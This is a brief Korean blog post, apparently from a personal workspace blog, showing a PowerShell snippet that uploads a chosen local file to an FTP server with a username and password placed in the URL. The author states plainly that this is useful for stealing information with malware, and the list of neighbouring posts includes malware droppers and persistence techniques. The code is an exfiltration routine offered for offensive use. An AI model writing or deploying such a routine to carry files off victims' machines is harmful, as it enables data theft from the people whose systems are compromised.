-
[Windows] Powershell FTP 본문
$File = "\filepath\file"
$ftp = "ftp://[id]:[password]@[host]/path/path/file"
$webclient = New-Object -TypeName System.Net.WebClient
$uri = New-Object -TypeName System.Uri -ArgumentList $ftp
$webclient.UploadFile($uri, $File)
malware 정보 탈취시 유용
'Workspace' 카테고리의 다른 글
[악성코드] Powershell Dropper with 시작 프로그램 (0) | 2020.09.15 |
---|---|
[Powershell] Invoke-WebRequest로 세션 획득 후 Response (0) | 2020.09.02 |
[Windows] Powershell 배경화면 바꾸기 (0) | 2020.08.24 |
[Windows] Powershell 백그라운드 실행 (0) | 2020.08.20 |
[악성코드] Windows Malware Persistence (0) | 2020.08.13 |
Comments